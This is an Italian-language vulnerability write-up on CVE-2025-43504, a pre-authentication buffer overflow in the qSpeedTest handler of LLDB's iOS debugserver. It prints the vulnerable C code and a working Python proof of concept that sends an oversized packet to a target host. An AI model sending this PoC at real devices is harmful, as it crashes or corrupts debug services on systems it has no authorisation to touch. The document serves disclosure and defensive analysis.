
Analisi tecnica approfondita di CVE-2025-43504, un overflow globale del buffer remoto pre-autenticazione in debugserver di LLDB per iOS, con codice PoC e analisi dello sfruttamento.
Crescendo, mi è sempre piaciuto rovistare tra i contenitori di DVD al mio Walmart locale. Notavo che molti degli stessi film venivano lasciati in cima, ma se scavavi un po', trovavi titoli più interessanti e di nicchia.
Quando un programma eccede un buffer, in pratica stai frugando nel suo cestino delle occasioni. A seconda di quanto vai in profondità, i DVD – o in questo caso, le strutture sovrascritte in memoria – possono cambiare.
Il /bin dell'occasione di oggi è CVE-2025-43504: Un overflow globale del buffer remoto pre-autenticazione che ho trovato in LLDB's debugserver.
Durante lo sviluppo di applicazioni, gli sviluppatori spesso hanno bisogno di eseguire il debug della loro app su un dispositivo iOS fisico. Per farlo, Xcode monta una Developer Disk Image sull'iPhone di destinazione e poi si accoppia con esso.
Una volta accoppiato, l'host macOS è in grado di comunicare con il client iOS utilizzando il debugserver installato sul client. Ora qualsiasi client che può stabilire una sessione GDB-remota con il debugserver del dispositivo può raggiungere il gestore qSpeedTest e overfloware il buffer vulnerabile.
Diamo un'occhiata alla pagina di rilascio della sicurezza di Xcode 26.1 per capire meglio come Apple ha categorizzato CVE-2025-43504:

A causa delle moderne mitigazioni software, Apple considera gli overflow di buffer principalmente come un problema di denial-of-service piuttosto che come una primitiva di corruzione. Come esploreremo oggi, questo è generalmente vero: un attaccante dovrà superare diverse barriere e probabilmente abbinare questo problema con un altro bug per ottenere l'esecuzione arbitraria di codice.
Se volete sperimentare con una versione pre-patch di debugserver, usate il seguente commit o qualsiasi commit precedente a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Prima della patch in RNBRemote.cpp, qualsiasi utente remoto che potesse connettersi al debugserver di un dispositivo iOS poteva inviare un pacchetto qSpeedTest pre-autenticazione a RNBRemote::HandlePacket_qSpeedTest e corrompere le strutture adiacenti nel segmento dati globale di debugserver.
Tuttavia, c'è un'importante avvertenza: controlliamo solo la lunghezza della corruzione. Il contenuto del payload è fisso a un flusso di caratteri 'a'. Mentre gli studenti potrebbero apprezzare i voti costantemente alti, l'utilità pratica di questo overflow è notevolmente limitata dal fatto che non possiamo controllare i byte effettivamente scritti – solo quanto lontano arriva l'inondazione di 'a'.
Ora diamo un'occhiata al cofano di RNBRemote::HandlePacket_qSpeedTest per vedere esattamente cosa sta succedendo:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// Controlliamo la lunghezza di response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// L'overflow di g_data con 'a' avviene qui
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
Il ruolo di RNBRemote::HandlePacket_qSpeedTest() è di elaborare i pacchetti qSpeedTest:response_size:<hex>; in arrivo senza richiedere autenticazione da un utente remoto che può comunicare con il binario debugserver del dispositivo iOS.
Tuttavia, una volta che un utente remoto è in grado di inviare un pacchetto qSpeedTest:response_size:<hex>; a debugserver, non si verificano controlli di autenticazione all'interno di debugserver prima di elaborare il response_size fornito dall'utente. Pertanto, qualsiasi utente che possa comunicare con un dispositivo iOS su cui è montata una Developer Disk Image è in grado di overfloware debugserver tramite un pacchetto qSpeedTest:response_size:<hex>;.
Ora che abbiamo raggiunto la funzione vulnerabile RNBRemote::HandlePacket_qSpeedTest(), esaminiamo esattamente come avviene l'overflow. Innanzitutto, la dimensione fornita dall'utente <hex> nel pacchetto qSpeedTest:response_size:<hex>; viene estratta e memorizzata nella variabile response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Se l'analisi ha successo e il prossimo carattere è un punto e virgola, un buffer statico locale da 4 MiB + 16 byte g_data viene inizializzato e riempito con l'intestazione ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Mettendo tutto insieme, memset riempie il buffer statico da 4 MiB + 16 byte g_data con 'a' utilizzando il valore di response_size controllato dall'utente come numero di 'a' da usare.
// L'overflow di g_data con 'a' avviene qui
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Pertanto, ogni volta che un client LLDB remoto invia un pacchetto qSpeedTest:response_size:<hex>; con un response_size maggiore del buffer da 4 MiB + 16 byte, si verifica un overflow del buffer che corrompe le variabili globali adiacenti memorizzate nel segmento dati globale (.bss) di debugserver.
Ora che abbiamo compreso l'architettura alla base dell'overflow, addentriamoci nei meccanismi reali della vulnerabilità. Per iniziare, utilizziamo il seguente programma Python per esplorare le primitive di corruzione ottenute attraverso l'overflow di g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# invia il qSpeedTest sovradimensionato
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Piccolo stimolo opzionale per esercitare l'uso del puntatore
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass